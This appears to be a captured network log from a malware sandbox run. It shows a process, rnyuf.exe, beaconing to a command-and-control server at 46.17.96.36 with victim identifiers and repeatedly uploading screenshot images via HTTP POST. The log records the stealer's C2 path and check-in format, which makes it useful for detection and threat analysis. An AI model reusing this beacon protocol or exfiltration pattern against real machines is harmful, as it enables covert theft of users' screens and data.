Aug 29, 2021 22:28:49.472846031 CEST	15887	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:28:49.473376036 CEST	15890	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:28:49.578342915 CEST	15940	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49760	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:20.600217104 CEST	3716	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:20.600354910 CEST	3716	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:20.600538969 CEST	3726	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:20.600644112 CEST	3729	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:20.633289099 CEST	3731	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:20.633327961 CEST	3734	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:20.633344889 CEST	3742	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:20.633507967 CEST	3749	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:20.633616924 CEST	3751	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:20.633641958 CEST	3754	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:20.666357994 CEST	3757	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:20.776627064 CEST	3824	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.4	49989	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:49.642771959 CEST	15941	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:49.721581936 CEST	15941	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.4	49990	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:50.839502096 CEST	15942	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:50.921204090 CEST	15953	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.4	49991	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:50.843131065 CEST	15942	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:50.843199015 CEST	15942	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:50.843338013 CEST	15952	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:51.235548019 CEST	15963	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:51.235634089 CEST	15973	OUT	Data Raw: a5 67 55 11 96 f9 08 ce 72 07 f5 a2 14 dc e4 a2 ba 8e 73 50 8b 93 d9 19 e2 8a ea bf e1 1a b3 ff 00 9e b3 ff 00 df 43 fc 28 ff 00 84 6a cf fe 7a cf ff 00 7d 0f f0 ae af a8 56 38 ff 00 b4 28 9c b5 15 d4 ff 00 c2 35 67 ff 00 3d 27 ff 00 be 87 f8 51 Data Ascii: gUrsPC(jz}V8(5g='QO5'+1]W#VP{E'_cx:\1%0N5un(Na\R``sG4b,QJ)+c5d8$gR)qkm]Iz
Aug 29, 2021 22:28:51.235743046 CEST	15976	OUT	Data Raw: cd b0 55 e4 e9 a9 5c f1 9d 77 c3 c6 c0 1b 9b 5c b5 be 7e 65 3c 94 ff 00 eb 56 0d 7d 06 7c 17 6d 22 32 4b 2c a5 58 60 8c 8c 11 f9 57 88 f8 93 47 6d 07 c4 37 9a 69 25 96 17 f9 18 f5 2a 46 57 f4 22 bb f2 ac ce 38 ab d2 6e f2 5f 91 f3 59 be 12 8d 29 Data Ascii: U\w\~e<V}\|m"2K,X`WGm7i%FW"8n_Y)>2{GJ^O[KW$Jr@z~ax6d}Mv:_,"qjUfT8<.:^/__E;eckyEs5g}2H
Aug 29, 2021 22:28:51.272002935 CEST	15979	OUT	Data Raw: c5 14 d0 69 73 4c 91 68 06 93 bd 2f 7a 00 75 14 da 5c d5 0a c3 f3 40 34 da 29 dc 56 24 dd 8a 50 e4 77 a8 a9 73 4e e2 b1 38 94 fa d4 82 76 1d cd 55 cd 19 aa 53 64 b8 26 5d 5b a6 1d ea 45 bb 35 43 75 38 35 5a a8 c8 74 d1 a2 2e 94 f5 50 69 c2 58 58 Data Ascii: isLh/zu\@4)V$PwsN8vUSd&][E5Cu85Zt.PiXX\|+<585Zt{~)t8[O/t.Y-dpM:AwUS5i~z/=TdYbqMo=VBy?-#(lZi~0z:T*3
Aug 29, 2021 22:28:51.272099018 CEST	16017	OUT	Data Raw: d7 68 fc 69 e3 4f 23 ef 4a a2 8b 92 e7 15 d4 a7 9f 7a 50 d5 74 59 c0 3e f4 84 fd 29 e2 1b 55 ec 5a 9d d9 1e d2 25 0c 93 4f 01 bd 0d 5e 0d 08 1f 2c 62 97 ce 1f c2 8a 28 bb 25 d4 f2 2a 08 e5 3d 10 9f c2 a4 5b 79 8f f0 e3 eb 53 99 9f b6 05 34 c8 ff Data Ascii: hiO#JzPtY>)UZ%O^,b(%=[yS44jO;`-[iY?q.?xvWUE._bq`4}\}}V->HV?Z9#.U9j7/>~uqnMp '/4xf(Q:=7
Aug 29, 2021 22:28:51.272157907 CEST	16022	OUT	Data Raw: f4 7d 2f 8f 47 7a 28 ae b3 cc 1d de 8a 4a 5a a1 32 58 2d e5 b9 94 47 0c 65 dc f6 15 77 fb 0b 52 ff 00 9f 6f fc 7d 7f c6 ba ff 00 84 36 90 5e 78 c6 18 ae 23 59 13 76 ed ac 32 38 47 61 fa 81 5f 4b 74 18 15 e7 d5 c4 55 55 25 18 59 25 dd 5f a5 fb ae Data Ascii: }/Gz(JZ2X-GewRo}6^x#Yv28Ga_KtUU%Y%_Osz4Wke}/h:.Xxe?n-EO1~%#^_>]i)%O]ywPn^Xy-ou])8)ZCES
Aug 29, 2021 22:28:51.307795048 CEST	16025	OUT	Data Raw: d6 c3 3f e1 65 f8 a7 fe 82 97 1f f8 11 2f ff 00 15 47 fc 2c bf 15 7f d0 52 e3 ff 00 02 25 ff 00 e2 a9 6d 34 0d 16 f7 49 b1 28 9a 94 77 97 da 7d dd f2 4e d7 08 d0 c2 21 79 00 57 5f 2c 1c 11 1e 37 6e 1c b0 e3 b5 67 4b a4 69 cb a1 2e b5 1c f2 b5 b5 Data Ascii: ?e/G,R%m4I(w}N!yW_,7ngKi.k>jlz7qGAQ/",gBw/XZ}J${zI$[xGI]J{Y<Ex?:e ro {oLdlqNJS~uq
Aug 29, 2021 22:28:51.307841063 CEST	16027	OUT	Data Raw: 6d 2d 34 02 d1 49 45 31 0b 45 1d e8 34 00 52 8e b4 82 97 8a 00 5a 29 32 28 cd 31 58 75 28 a6 6e a3 76 69 dc 2c 48 28 a6 66 8c d1 71 58 93 34 64 54 79 a2 9d c5 62 4d c3 d6 8d d4 da 28 b8 58 76 ea 32 69 28 a7 71 06 68 a2 8a 00 51 4b 49 47 7a 60 2d Data Ascii: m-4IE1E4RZ)2(1Xu(nvi,H(fqX4dTybM(Xv2i(qhQKIGz`-()94SI@+Z-(4\RA!{QLCFi4RiA1um-P&iPiLLxiA$x.jI\8S%EORdJ)KZ#1
Aug 29, 2021 22:28:51.487952948 CEST	16050	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.4	49992	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:52.083343029 CEST	16051	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:52.162986994 CEST	16051	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.4	49993	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:53.327419996 CEST	16052	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:53.403764009 CEST	16141	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.4	49994	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:53.329668999 CEST	16052	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:53.329758883 CEST	16052	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:53.329924107 CEST	16062	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:53.330066919 CEST	16065	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:53.364907026 CEST	16068	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:53.364959002 CEST	16079	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:53.365103960 CEST	16085	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:53.365158081 CEST	16091	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:53.400152922 CEST	16093	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:53.400245905 CEST	16096	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:53.400799990 CEST	16110	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:53.511938095 CEST	16160	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.4	49995	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
